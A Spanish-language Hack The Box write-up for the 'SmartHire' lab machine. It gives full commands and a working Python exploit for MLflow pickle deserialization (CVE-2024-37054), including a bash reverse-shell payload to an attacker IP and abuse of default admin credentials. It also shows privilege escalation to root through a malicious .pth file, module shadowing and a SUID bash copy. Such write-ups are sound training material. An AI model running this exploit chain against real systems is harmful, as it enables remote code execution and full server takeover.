SmartHire WriteUp
Tabla de contenido
SmartHire es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, correspondiente a la Season 11. Simula una plataforma de selección de personal basada en IA que usa MLflow para gestionar modelos de puntuación de candidatos.
El acceso inicial explota CVE-2024-37054, una deserialización pickle insegura en mlflow.pyfunc.load_model(): nos registramos en la app, subimos datos de entrenamiento para forzar la creación del modelo en MLflow, reemplazamos su último artefacto con un pickle malicioso, lo promovemos a Production y disparamos el endpoint /predict. La escalada aprovecha que el directorio plugins/dev/ de un script ejecutado con sudo es writable por nuestro grupo, basta colocar un .pth malicioso para que Python lo ejecute como root.
🗺️ Cadena de Ataque
Nmap → Puerto 22 (SSH) + 80 (Nginx / smarthire.htb)
│
▼
ffuf → models.smarthire.htb (MLflow 2.14.1) — creds por defecto admin:password
│
▼
Registro en smarthire.htb + upload CSV → MLflow crea modelo {company}-{hash}-model
│
▼
CVE-2024-37054 → pickle malicioso + MLmodel YAML → nuevo model version → Production
POST /predict → mlflow.pyfunc.load_model() deserializa → RCE como svcweb
penelope -p 8443 → shell directa → user.txt 🚩
│
▼
sudo -l → /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
plugins/dev/ writable por grupo devs → .pth file + module shadowing
sudo mlflowctl.py status → root → root.txt 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
echo "10.129.15.131 smarthire.htb models.smarthire.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Fase 1, Descubrimiento rápido:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv smarthire.htb
Fase 2, Versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt && sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv smarthire.htb
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 8.9p1 (Ubuntu 22.04) |
80 | HTTP | Nginx 1.18.0 |
Descubrimiento de Subdominios
ffuf -w /usr/share/wordlists/own/hackpuntes_subdomains_23565.txt -u http://smarthire.htb -H "Host: FUZZ.smarthire.htb" -ac -c
models [Status: 401, Size: 137, Words: 11, Duration: 50ms]
🎯
models.smarthire.htb→ instancia de MLflow 2.14.1 protegida con credenciales por defectoadmin:password. La versión es visible en la esquina superior izquierda de la interfaz.
💉 Acceso Inicial, CVE-2024-37054 (MLflow Pickle RCE)
¿Qué es CVE-2024-37054?
🧠 Concepto: CVE-2024-37054 es una deserialización insegura de pickle en
mlflow.pyfunc.load_model()presente en MLflow < 2.14.3. Cuando la app carga un modelo con flavorpython_functionyloader_module: mlflow.sklearn, usa joblib/pickle para deserializar el ficheromodel.pkldel artefacto, sin ninguna validación. Un objeto pickle con__reduce__malicioso ejecuta código arbitrario en el servidor. CVSS 9.8.
Paso 1, Registro en la Plataforma
Accedemos a http://smarthire.htb/register y creamos una cuenta. El nombre de empresa es clave: determina el nombre del modelo MLflow que se generará después.
curl -s -X POST http://smarthire.htb/register -d 'username=hacker&company=hackpuntes&password=Password123' -H 'Content-Type: application/x-www-form-urlencoded' -c cookies.txt
Paso 2, Creación del Modelo vía Upload de CSV
La plataforma necesita datos de entrenamiento para registrar el modelo en MLflow. Subimos un CSV mínimo al endpoint /upload_hiring_data:
curl -s -X POST http://smarthire.htb/upload_hiring_data -b cookies.txt -F 'file=@hiring.csv'
El fichero hiring.csv:
years_experience,education_level,hired
1,1,0
5,2,1
3,1,0
Tras el upload, MLflow registra automáticamente un modelo con nombre {company}-{hash}-model. Consultamos el nombre exacto:
curl -s http://smarthire.htb/model_info -b cookies.txt
{"model_info":null,"model_name":"hackpuntes-05971feb3b81-model","status":"success"}
Y para confirmar que el modelo se ha entrenado tras el upload del CSV:
printf 'years_experience,education_level,hired\n1,1,0\n5,2,1\n3,1,0\n' > hiring.csv && curl -s -X POST http://smarthire.htb/upload_hiring_data -b cookies.txt -F 'file=@hiring.csv'
{"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1781001809921,"description":"No description","version":"1"},"registered_model":"hackpuntes-05971feb3b81-model","status":"success"}
💡 Anota el
model_name, es el identificador exacto que necesita el exploit para registrar la versión maliciosa.
Paso 3, Exploit CVE-2024-37054
Guardamos el siguiente script como exploit.py y lo ejecutamos. Hace tres cosas: crea un run en MLflow, sube el pickle malicioso + el manifiesto MLmodel al almacén de artefactos, y registra una nueva versión del modelo apuntando a esos artefactos.
#!/usr/bin/env python3
import pickle, os, requests
MLFLOW = "http://models.smarthire.htb"
AUTH = ("admin", "password")
MODEL = "hackpuntes-05971feb3b81-model" # ajustar al model_name obtenido
LHOST = "10.10.14.49"
LPORT = 8443
# ── Payload ──────────────────────────────────────────────────────────────────
class Shell:
def __reduce__(self):
cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1' &"
return (os.system, (cmd,))
pkl = pickle.dumps(Shell())
mlmodel = (
"artifact_path: model\n"
"flavors:\n"
" python_function:\n"
" loader_module: mlflow.sklearn\n"
" model_path: model.pkl\n"
" python_version: 3.10.12\n"
"mlflow_version: 2.14.1\n"
)
# ── Crear run ─────────────────────────────────────────────────────────────────
r = requests.post(f"{MLFLOW}/api/2.0/mlflow/runs/create", auth=AUTH, json={"experiment_id": "0"})
run_id = r.json()["run"]["info"]["run_id"]
print(f"[+] Run ID: {run_id}")
# ── Subir artefactos via mlflow-artifacts PUT ─────────────────────────────────
base = f"{MLFLOW}/api/2.0/mlflow-artifacts/artifacts/0/{run_id}/artifacts/model"
for name, data in [("MLmodel", mlmodel.encode()), ("model.pkl", pkl)]:
r = requests.put(f"{base}/{name}", auth=AUTH, data=data)
print(f"[+] Upload {name}: {r.status_code}")
# ── Registrar nueva versión del modelo ────────────────────────────────────────
r = requests.post(f"{MLFLOW}/api/2.0/mlflow/model-versions/create", auth=AUTH, json={
"name": MODEL,
"source": f"mlflow-artifacts:/0/{run_id}/artifacts/model",
"run_id": run_id
})
print(f"[+] Model version: {r.json()['model_version']['version']}")
print("[*] Listo — dispara /predict para ejecutar el payload")
python3 exploit.py
[+] Run ID: 51dd64dcdbaa44479320c16c8efdc608
[+] Upload MLmodel: 200
[+] Upload model.pkl: 200
[+] Model version: 2
[*] Listo — dispara /predict para ejecutar el payload
Paso 4, Promover a Production y Disparar el Payload
La app carga la versión en stage Production. Nuestra versión 2 queda en None por defecto, la promovemos antes de disparar:
curl -s -X POST 'http://models.smarthire.htb/api/2.0/mlflow/model-versions/transition-stage' -u 'admin:password' -H 'Content-Type: application/json' -d '{"name":"hackpuntes-05971feb3b81-model","version":"2","stage":"Production","archive_existing_versions":true}'
Con el listener activo en otra terminal:
penelope -p 8443
El endpoint /predict espera un fichero CSV con columnas experience y skills. Creamos el fichero y disparamos, esto llama internamente a mlflow.pyfunc.load_model() sobre nuestra versión maliciosa:
printf 'experience,skills\n3,python\n' > resume.csv && curl -s -X POST http://smarthire.htb/predict -b cookies.txt -F 'file=@resume.csv'
[+] Got reverse shell from smarthire~10.129.15.131-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
svcweb@smarthire:/var/www/smarthire.htb$
🚩 User Flag
cat /home/svcweb/user.txt
🧗 Escalada de Privilegios → root
Enumeración de Permisos sudo
sudo -l
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
Análisis del Script mlflowctl.py
cat /opt/tools/mlflow_ctl/mlflowctl.py && ls -la /opt/tools/mlflow_ctl/plugins/
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
"""
from pathlib import Path
import sys, site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))
def main():
import mlflow_actions, backup_models
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
backup_models.run()
elif action == "restart":
mlflow_actions.restart()
if __name__ == "__main__": main()
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev
🎯
site.addsitedir()añade el directorio al path de Python y procesa todos los ficheros.pthque encuentre en él. El directoriodev/es writable por el grupodevs, ysvcwebpertenece adevs. Además, si manipulamos el orden ensys.path, podemos hacer que Python importe nuestromlflow_actions.py(endev/) en lugar del legítimo (encore/).
Explotación, Python .pth File + Module Shadowing
🧠 Concepto: Los ficheros
.pthen directorios añadidos consite.addsitedir()se procesan automáticamente al arrancar el intérprete: las líneas conimport ...se ejecutan directamente. Esto nos permite insertardev/al inicio desys.pathantes de que se añadacore/, haciendo que Python importe nuestro módulo malicioso en lugar del legítimo.
1. Crear el .pth que prepone dev/ en sys.path:
echo 'import sys; sys.path.insert(0, "/opt/tools/mlflow_ctl/plugins/dev")' > /opt/tools/mlflow_ctl/plugins/dev/evil.pth
2. Crear el módulo mlflow_actions.py malicioso que shadea al legítimo de core/:
printf 'import os\ndef check_status(): os.system("cp /bin/bash /tmp/b && chmod +s /tmp/b")\ndef restart(): check_status()\n' > /opt/tools/mlflow_ctl/plugins/dev/mlflow_actions.py
3. Disparar la ejecución como root y verificar el SUID:
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status && ls -la /tmp/b
-rwsr-sr-x 1 root root 1396520 Jun 9 10:51 /tmp/b
/tmp/b -p
b-5.1# id
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
🏴 Root Flag
cat /root/root.txt
<root_flag>
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento de puertos y subdominios | nmap, ffuf | MLflow 2.14.1 en models.smarthire.htb |
| 2 | Registro + upload CSV → creación de modelo MLflow | curl | Nombre del modelo objetivo |
| 3 | CVE-2024-37054, pickle RCE vía MLflow + /predict | python3, penelope | Shell como svcweb + user.txt 🚩 |
| 4 | Python .pth hijack, module shadowing en plugins/dev/ | printf, sudo | Shell como root + root.txt 🏴 |
Un saludo, nos vemos en el próximo challenge.
